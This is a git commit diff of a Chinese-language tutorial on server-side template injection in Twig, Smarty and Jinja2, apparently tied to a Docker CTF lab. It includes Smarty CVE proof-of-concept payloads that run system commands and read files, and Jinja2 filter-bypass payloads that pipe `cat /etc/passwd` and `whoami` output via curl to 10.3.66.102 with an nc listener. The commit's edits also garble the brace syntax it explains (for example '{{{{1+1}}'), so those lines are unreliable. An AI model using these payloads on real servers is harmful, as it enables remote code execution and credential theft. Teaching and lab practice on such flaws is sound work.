09-01-周一_17-20-19

This commit is contained in:
2025-09-01 17:20:19 +08:00
parent 9a2c3d8853
commit 9a0d3dfd83

View File

@@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[
![img](11.模版注入/1685068449852-e93fa0ab-e941-46cf-8481-980ff6f99a06.png) ![img](11.模版注入/1685068449852-e93fa0ab-e941-46cf-8481-980ff6f99a06.png)
有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 有两种形式的分隔符:{{% ... %} 和 {{{{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
需要注意的是twig会生产缓存文件所以导致有时候模版的变化并不能直接看到效果可以每次都让php先清理缓存再渲染模版 需要注意的是twig会生产缓存文件所以导致有时候模版的变化并不能直接看到效果可以每次都让php先清理缓存再渲染模版
@@ -268,7 +268,7 @@ echo $twig->render('tags.twig',[
#### 4.3.5 控制结构 #### 4.3.5 控制结构
控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {% ... %} 块中。 控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {{% ... %} 块中。
例如使用 for 标签进行循环: 例如使用 for 标签进行循环:
@@ -299,7 +299,7 @@ echo $twig->render('index.html', ['name' => '<h1>whoami</h1>','users'=>$users]);
#### 4.3.6 注释 #### 4.3.6 注释
要在模板中注释某一行,可以使用注释语法 &#123;# ...#} 要在模板中注释某一行,可以使用注释语法 {{# ...#}
```plain ```plain
{# note: disabled template because we no longer use this {# note: disabled template because we no longer use this
@@ -395,7 +395,7 @@ echo $template->render();
![img](11.模版注入/1685069357382-52e857cb-a1d6-41ce-bc16-16d64c5177a2.png) ![img](11.模版注入/1685069357382-52e857cb-a1d6-41ce-bc16-16d64c5177a2.png)
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`&#123;&#123;name}}`,而不是动态拼接的`$_GET["name"]` 这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{{{name}}`,而不是动态拼接的`$_GET["name"]`
```php ```php
<?php <?php
@@ -600,7 +600,7 @@ shell_exec ( string $cmd ) : string
{{["id"]|map("exec")}} // 无回显 {{["id"]|map("exec")}} // 无回显
``` ```
其中`&#123;&#123;["id"]|map("system")}}`会被成下面这样: 其中`{{{{["id"]|map("system")}}`会被成下面这样:
```php ```php
twig_array_map([0 => "id"], "system") twig_array_map([0 => "id"], "system")
@@ -792,7 +792,7 @@ docker run -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ssti_tw
#### 4.5.1 基础使用方法 #### 4.5.1 基础使用方法
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 &#123;name},然后调用 Smarty 的方法传递变量参数即可 在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {{name},然后调用 Smarty 的方法传递变量参数即可
安装方法 安装方法
@@ -839,8 +839,8 @@ $smarty->display($data);
任意文件读取 任意文件读取
- POC`string:&#123;include file='C:/Windows/win.ini'}` - POC`string:{{include file='C:/Windows/win.ini'}`
- 漏洞原因:&#123;include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此 - 漏洞原因:{{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
- 版本限制:无 - 版本限制:无
引入普通文件: 引入普通文件:
@@ -880,8 +880,8 @@ string:{if system('whoami')}{/if}
#### 4.5.3 CVE-2021-26120 #### 4.5.3 CVE-2021-26120
- POC`string:&#123;function name='x()&#123;};system(whoami);function '}&#123;/function}` - POC`string:{{function name='x(){{};system(whoami);function '}{{/function}`
- 漏洞原因:[&#123;function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码 - 漏洞原因:[{{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码
- 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用 - 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用
切换到较早的smarty版本 切换到较早的smarty版本
@@ -940,7 +940,7 @@ string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')} string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
``` ```
- 漏洞原因:可以通过`&#123;$smarty.template_object}`访问到 smarty 对象所导致 - 漏洞原因:可以通过`{{$smarty.template_object}`访问到 smarty 对象所导致
- 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码 - 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
测试效果 测试效果
@@ -949,7 +949,7 @@ string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{sy
#### 4.5.5 CVE-2021-29454 #### 4.5.5 CVE-2021-29454
- POC`eval:&#123;math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}` - POC`eval:{{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}`
- 漏洞原因:`libs/plugins/function.math.php`中的`smarty_function_math`执行了`eval()`,而`eval()`的数据可以通过 8 进制数字绕过正则表达式 - 漏洞原因:`libs/plugins/function.math.php`中的`smarty_function_math`执行了`eval()`,而`eval()`的数据可以通过 8 进制数字绕过正则表达式
版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用 版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用
@@ -1033,15 +1033,15 @@ if __name__ == '__main__':
这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。 这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
&#123;&#123;}}在Jinja2中作为变量包裹标识符Jinja2在渲染的时候会把&#123;&#123;}}包裹的内容当做变量解析替换。比如&#123;&#123;1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 {{{{}}在Jinja2中作为变量包裹标识符Jinja2在渲染的时候会把{{{{}}包裹的内容当做变量解析替换。比如{{{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
以flask的jinja2引擎为例官方的模板语法如下 以flask的jinja2引擎为例官方的模板语法如下
- &#123;% ... %} 用于声明比如在使用for控制语句或者if语句时 - {{% ... %} 用于声明比如在使用for控制语句或者if语句时
- &#123;&#123;......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式 - {{{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
- &#123;# ... #} 用于模板注释 - {{# ... #} 用于模板注释
- \# ... ## 用于行语句,就是对语法的简化 - \# ... ## 用于行语句,就是对语法的简化
- \#...#可以有和&#123;%%}相同的效果 - \#...#可以有和{{%%}相同的效果
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令: 由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
@@ -1654,15 +1654,15 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。 这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
##### 5.2.7.5 过滤了大括号 &#123;&#123; ##### 5.2.7.5 过滤了大括号 {{{{
我们可以用Jinja2的 &#123;%...%} 语句装载一个循环控制语句来绕过: 我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过:
```plain ```plain
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
``` ```
也可以使用 &#123;% if ... %}1&#123;% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来: 也可以使用 {{% if ... %}1{{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
```plain ```plain
{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %} {% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %}
@@ -1670,7 +1670,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
# 开启 nc 监听 nc -lvp 2333 # 开启 nc 监听 nc -lvp 2333
``` ```
也可以用 &#123;%print(......)%} 的形式来代替 &#123;&#123; ,如下: 也可以用 {{%print(......)%} 的形式来代替 {{{{ ,如下:
```plain ```plain
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%} {%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
@@ -1744,7 +1744,7 @@ __ . [ "
' request {{ _ %20(空格) [ ] . __globals__ __getitem__ ' request {{ _ %20(空格) [ ] . __globals__ __getitem__
``` ```
我们用 &#123;%...%}绕过对 &#123;&#123; 的过滤并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 我们用 {{%...%}绕过对 {{{{ 的过滤并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
假设我们要构造的payload原型为 假设我们要构造的payload原型为